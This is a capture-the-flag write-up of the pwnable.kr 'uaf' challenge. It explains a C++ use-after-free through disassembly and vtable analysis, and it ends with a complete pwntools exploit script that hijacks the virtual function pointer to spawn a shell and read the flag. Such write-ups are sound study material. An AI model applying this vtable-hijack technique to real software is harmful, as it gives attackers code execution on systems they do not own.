pwnable.kr - uaf (C++)
It’s my first time to pwn with a C++ challenge. So I need to note something here.
ssh uaf@pwnable.kr -p2222 (pw:guest)
Code Review
3 choices:
-
call the virtual function(
introduce) of two objects -
allocate a memory chunk with arg1 size then read data from arg2 to fill that
-
delete two objects
Find the exploitation
As the name tells, the exploit is uaf, so there is a vulnability afte delete two objects.
Our target is call the virtual function: give_shell(), the first choice call the other virtual function, maybe we can cover that function point.
so our plan is:
-
input 3 to delete two objects
-
allocate some useful data on the deleted memory with choice 2
-
reuse freed memory to call the virtual function with choice 1
Solution
If we want to reuse the deleted memory, we need to set the arg1 that equals size of man object. so,
- we need to figure out the chunk size of
manorWomanobjects.
0x0000000000400ef7 <+51>: lea r12,[rbp-0x50]
0x0000000000400efb <+55>: mov edi,0x18
0x0000000000400f00 <+60>: call 0x400d90 <_Znwm@plt>
the _Znwm@plt is new function, so 0x18is the object size.
- next, wo need to hijacking the virtual function pointer to
get_shell. so what about the layout of virtual function address?
the below asm code is calling virtual function:
0x0000000000400fcd <+265>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fd1 <+269>: mov rax,QWORD PTR [rax]
0x0000000000400fd4 <+272>: add rax,0x8
0x0000000000400fd8 <+276>: mov rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>: mov rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>: mov rdi,rax
0x0000000000400fe2 <+286>: call rdx
0x0000000000400fe4 <+288>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400fe8 <+292>: mov rax,QWORD PTR [rax]
0x0000000000400feb <+295>: add rax,0x8
0x0000000000400fef <+299>: mov rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>: mov rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>: mov rdi,rax
0x0000000000400ff9 <+309>: call rdx
so rdx is function address, the rdx is from [rax], the rax is from [rax] + 8, so the rax contain the pointer to the virtual function table, introduce() is the second pointer because of the offset 8.
the rax is from rbp-0x38, so it’s the pointer of the object.
Let’s see what’s in the rax:
pwndbg> x/2gx $rax
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
pwndbg> x/5i 0x000000000040117a
0x40117a <_ZN5Human10give_shellEv>: push rbp
0x40117b <_ZN5Human10give_shellEv+1>: mov rbp,rsp
0x40117e <_ZN5Human10give_shellEv+4>: sub rsp,0x10
0x401182 <_ZN5Human10give_shellEv+8>: mov QWORD PTR [rbp-0x8],rdi
0x401186 <_ZN5Human10give_shellEv+12>: mov edi,0x4014a8
pwndbg> x/5i 0x00000000004012d2
0x4012d2 <_ZN3Man9introduceEv>: push rbp
0x4012d3 <_ZN3Man9introduceEv+1>: mov rbp,rsp
0x4012d6 <_ZN3Man9introduceEv+4>: sub rsp,0x10
0x4012da <_ZN3Man9introduceEv+8>: mov QWORD PTR [rbp-0x8],rdi
0x4012de <_ZN3Man9introduceEv+12>: mov rax,QWORD PTR [rbp-0x8]
As we have seen:
get_shell address: Object->vptr->v1
introduce address: Object->vptr->(v1 + 8)
so we need to cover vptr address that after add 8 equal the address of get_shell(0x401570).
The current address is 0x401570, so we need to fill 0x401570 - 8 = 0x401568
but still a problem:
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
Because the 3rd choice has deleted two objects, however we just allocate one object, the program will crash when executing first choice. so we need to allocate two memory chunks by input 2 twice.
the final exploitation:
from pwn import *
host = 'pwnable.kr'
port = 2222
user = 'uaf'
password = 'guest'
s = ssh(host=host, port=port,
user=user, password=password)
context.log_level = 'debug'
payload = p64(0x401568)
p = s.process(["./uaf", "24", "/dev/stdin"])
p.recvuntil('free\n')
p.sendline('3')
p.recvuntil('free\n')
p.sendline('2')
p.send(payload)
p.recvuntil('free\n')
p.sendline('2')
p.send(payload)
p.recvuntil('free\n')
p.sendline('1')
p.interactive()
Finally:
[*] Switching to interactive mode
$ ls
flag uaf uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning